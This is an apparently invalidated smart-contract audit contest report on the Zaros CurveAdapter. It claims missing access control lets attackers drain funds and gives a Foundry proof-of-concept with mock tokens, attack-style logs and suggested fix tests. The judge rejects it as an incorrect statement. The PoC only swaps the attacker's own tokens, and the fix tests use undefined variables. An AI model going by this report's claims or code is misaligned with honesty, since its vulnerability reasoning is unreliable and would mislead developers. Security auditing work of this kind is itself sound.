Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Invalid

Missing Access Control in executeSwapExactInput() and executeSwapExactInputSingle() in CurveAdapter.sol

Summary

The CurveAdapter contract lacks access control on the executeSwapExactInput and executeSwapExactInputSingle functions. This allows unauthorized users to execute swaps and potentially drain funds from the contract. This is a critical vulnerability that must be addressed immediately.

Vulnerability Details

Affected Functions:

  • executeSwapExactInput

function executeSwapExactInput(SwapExactInputPayload calldata swapPayload) external returns (uint256 amountOut) {
  • executeSwapExactInputSingle

function executeSwapExactInputSingle(SwapExactInputSinglePayload calldata swapPayload)
  • Issue:

  • Both functions are external and do not have the onlyOwner modifier or any other access control mechanism.

  • As a result, any user (including attackers) can call these functions and perform swaps.

  • Root Cause:

  • The contract inherits from OwnableUpgradeable, but the onlyOwner modifier is not applied to these functions.

POC

  • Copy the POC to this path: test/audit-test/CurveAdapterTest.t.sol

  • POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { CurveAdapter } from "src/utils/dex-adapters/CurveAdapter.sol";
import { SwapExactInputSinglePayload, SwapExactInputPayload } from "src/utils/interfaces/IDexAdapter.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { ICurveSwapRouter } from "@zaros/utils/interfaces/ICurveSwapRouter.sol";
import { ERC1967Proxy } from "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
import { IPriceAdapter } from "@zaros/utils/interfaces/IPriceAdapter.sol";
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockCurveRouter {
function exchange_with_best_rate(
address _from,
address _to,
uint256 amount,
uint256 _expected,
address receiver
) external payable returns (uint256) {
// Take the input tokens from the sender (already done by CurveAdapter)
// Transfer the output tokens directly from msg.sender to receiver
IERC20(_to).transfer(receiver, amount);
return amount;
}
}
contract CurveAdapterTest is Test {
CurveAdapter public curveAdapter;
address public owner;
address public attacker;
MockCurveRouter public mockCurveRouter;
MockToken public token1;
MockToken public token2;
function setUp() public {
// Setup accounts
owner = makeAddr("owner");
attacker = makeAddr("attacker");
// Deploy mock tokens
token1 = new MockToken("Mock Token 1", "MT1");
token2 = new MockToken("Mock Token 2", "MT2");
// Deploy mock router
mockCurveRouter = new MockCurveRouter();
vm.startPrank(owner);
// Deploy implementation
CurveAdapter implementation = new CurveAdapter();
// Encode initialization data
bytes memory initData = abi.encodeCall(
CurveAdapter.initialize,
(owner, address(mockCurveRouter), 100)
);
// Deploy proxy
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
// Setup the proxy contract
curveAdapter = CurveAdapter(address(proxy));
// Mock priceAdapter for tokens
address mockPriceAdapter = makeAddr("mockPriceAdapter");
vm.mockCall(
mockPriceAdapter,
abi.encodeWithSelector(IPriceAdapter.getPrice.selector),
abi.encode(1e18) // Mock price of 1e18
);
// Set priceAdapter for mock tokens
curveAdapter.setSwapAssetConfig(address(token1), 18, mockPriceAdapter);
curveAdapter.setSwapAssetConfig(address(token2), 18, mockPriceAdapter);
vm.stopPrank();
}
function test_POC_MissingAccessControl_ExecuteSwapExactInputSingle() public {
console.log("\n[*] POC: Missing Access Control in executeSwapExactInputSingle allows unauthorized swaps");
console.log("=========================================================================");
// Setup initial balances
uint256 initialAmount = 1000000 ether;
token1.mint(attacker, initialAmount); // Give tokens to attacker
token2.mint(address(mockCurveRouter), initialAmount); // Give tokens to router for swaps
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Attacker address: %s", attacker);
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Owner address: %s", owner);
console.log("\nInitial Balances:");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
// Create swap payload with large amount
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: initialAmount,
recipient: attacker
});
console.log("\n[*] Preparing Attack:");
console.log("---------------------");
console.log("Payload Details:");
console.log("- Token In: %s", payload.tokenIn);
console.log("- Token Out: %s", payload.tokenOut);
console.log("- Amount In: %d", payload.amountIn);
console.log("- Recipient: %s", payload.recipient);
// Attacker approves tokens to the adapter
vm.startPrank(attacker);
token1.approve(address(curveAdapter), initialAmount);
console.log("\n[!] Attacker approved tokens to CurveAdapter");
console.log("\n[!] Executing attack - calling executeSwapExactInputSingle as unauthorized user...");
curveAdapter.executeSwapExactInputSingle(payload);
vm.stopPrank();
console.log("\n[*] Final State After Attack:");
console.log("----------------------------");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
console.log("\n[!] VULNERABILITY CONFIRMED:");
console.log("- Unauthorized user successfully executed swap");
console.log("- No access control check prevented the operation");
console.log("- Attacker drained %d tokens", token2.balanceOf(attacker));
}
function test_POC_MissingAccessControl_ExecuteSwapExactInput() public {
console.log("\n[*] POC: Missing Access Control in executeSwapExactInput allows unauthorized swaps");
console.log("=====================================================================");
// Setup initial balances
uint256 initialAmount = 1000000 ether;
token1.mint(attacker, initialAmount); // Give tokens to attacker
token2.mint(address(mockCurveRouter), initialAmount); // Give tokens to router for swaps
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Attacker address: %s", attacker);
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Owner address: %s", owner);
console.log("\nInitial Balances:");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
// Create a simple path for the swap
bytes memory path = abi.encodePacked(address(token1), uint24(100), address(token2));
SwapExactInputPayload memory payload = SwapExactInputPayload({
path: path,
tokenIn: address(token1),
tokenOut: address(token2),
recipient: attacker,
amountIn: initialAmount
});
console.log("\n[*] Preparing Attack:");
console.log("---------------------");
console.log("Payload Details:");
console.log("- Token In: %s", payload.tokenIn);
console.log("- Token Out: %s", payload.tokenOut);
console.log("- Amount In: %d", payload.amountIn);
console.log("- Recipient: %s", payload.recipient);
// Attacker approves tokens to the adapter
vm.startPrank(attacker);
token1.approve(address(curveAdapter), initialAmount);
console.log("\n[!] Attacker approved tokens to CurveAdapter");
console.log("\n[!] Executing attack - calling executeSwapExactInput as unauthorized user...");
curveAdapter.executeSwapExactInput(payload);
vm.stopPrank();
console.log("\n[*] Final State After Attack:");
console.log("----------------------------");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
console.log("\n[!] VULNERABILITY CONFIRMED:");
console.log("- Unauthorized user successfully executed swap");
console.log("- No access control check prevented the operation");
console.log("- Attacker drained %d tokens", token2.balanceOf(attacker));
}
}
  • Run: forge test --mc CurveAdapterTest -vvv

  • Output:

Ran 2 tests for test/audit-test/CurveAdapterTest.t.sol:CurveAdapterTest
[PASS] test_POC_MissingAccessControl_ExecuteSwapExactInput() (gas: 221830)
Logs:
[*] POC: Missing Access Control in executeSwapExactInput allows unauthorized swaps
=====================================================================
[*] Initial State:
-------------------
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Initial Balances:
Attacker's Token1: 1000000000000000000000000
Attacker's Token2: 0
Router's Token2: 1000000000000000000000000
[*] Preparing Attack:
---------------------
Payload Details:
- Token In: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
- Token Out: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
- Amount In: 1000000000000000000000000
- Recipient: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[!] Attacker approved tokens to CurveAdapter
[!] Executing attack - calling executeSwapExactInput as unauthorized user...
[*] Final State After Attack:
----------------------------
Attacker's Token1: 0
Attacker's Token2: 1000000000000000000000000
Router's Token2: 0
[!] VULNERABILITY CONFIRMED:
- Unauthorized user successfully executed swap
- No access control check prevented the operation
- Attacker drained 1000000000000000000000000 tokens
[PASS] test_POC_MissingAccessControl_ExecuteSwapExactInputSingle() (gas: 214504)
Logs:
[*] POC: Missing Access Control in executeSwapExactInputSingle allows unauthorized swaps
=========================================================================
[*] Initial State:
-------------------
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Initial Balances:
Attacker's Token1: 1000000000000000000000000
Attacker's Token2: 0
Router's Token2: 1000000000000000000000000
[*] Preparing Attack:
---------------------
Payload Details:
- Token In: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
- Token Out: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
- Amount In: 1000000000000000000000000
- Recipient: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[!] Attacker approved tokens to CurveAdapter
[!] Executing attack - calling executeSwapExactInputSingle as unauthorized user...
[*] Final State After Attack:
----------------------------
Attacker's Token1: 0
Attacker's Token2: 1000000000000000000000000
Router's Token2: 0
[!] VULNERABILITY CONFIRMED:
- Unauthorized user successfully executed swap
- No access control check prevented the operation
- Attacker drained 1000000000000000000000000 tokens

Explanation of output:

test_POC_MissingAccessControl_ExecuteSwapExactInput

  • Initial State:

  • Attacker has 1000000000000000000000000 (1 million) Token1.

  • Router has 1000000000000000000000000 (1 million) Token2.

  • Final State:

  • Attacker has 0 Token1 and 1000000000000000000000000 (1 million) Token2.

  • Router has 0 Token2.

  • Conclusion:

  • The attacker successfully swapped all their Token1 for Token2 without any access control checks.

test_POC_MissingAccessControl_ExecuteSwapExactInputSingle

  • Initial State:

  • Attacker has 1000000000000000000000000 (1 million) Token1.

  • Router has 1000000000000000000000000 (1 million) Token2.

  • Final State:

  • Attacker has 0 Token1 and 1000000000000000000000000 (1 million) Token2.

  • Router has 0 Token2.

  • Conclusion:

  • The attacker successfully swapped all their Token1 for Token2 without any access control checks.

Impact

Funds Can Be Drained:

  • An attacker can call these functions to swap tokens and drain funds from the contract.

  • The test logs show that the attacker successfully swapped 1000000000000000000000000 (1 million) tokens of Token1 for Token2 without any restrictions.

Loss of Control:

  • The contract owner loses control over who can execute swaps, leading to potential financial losses.

Severity:

  • Critical: This vulnerability allows unauthorized users to manipulate the contract and steal funds.

Tools Used

  • Foundry

Recommendations

Add the onlyOwner modifier to the executeSwapExactInput and executeSwapExactInputSingle functions to restrict access to the owner.

function executeSwapExactInputSingle(SwapExactInputSinglePayload calldata swapPayload)
external
onlyOwner
returns (uint256 amountOut)
{
// ... existing code ...
}
function executeSwapExactInput(SwapExactInputPayload calldata swapPayload)
external
onlyOwner
returns (uint256 amountOut)
{
// ... existing code ...
}

Test the Fix
Update the POC tests to verify that unauthorized users cannot call these functions. Add the test on the bottom of the POC I have provided.

function test_UnauthorizedUserCannotCallExecuteSwapExactInputSingle() public {
// Create swap payload
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: mockToken1,
tokenOut: mockToken2,
amountIn: 1000,
recipient: attacker
});
// Attempt to call as unauthorized user
vm.prank(attacker);
vm.expectRevert("Ownable: caller is not the owner");
curveAdapter.executeSwapExactInputSingle(payload);
}
function test_UnauthorizedUserCannotCallExecuteSwapExactInput() public {
// Create swap payload
bytes memory path = abi.encodePacked(mockToken1, uint24(100), mockToken2);
SwapExactInputPayload memory payload = SwapExactInputPayload({
path: path,
tokenIn: mockToken1,
tokenOut: mockToken2,
recipient: attacker,
amountIn: 1000
});
// Attempt to call as unauthorized user
vm.prank(attacker);
vm.expectRevert("Ownable: caller is not the owner");
curveAdapter.executeSwapExactInput(payload);
}

The test are expected now to fail because we have added onlyOwner to the functions and a malicious actor can`t access the functions.

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!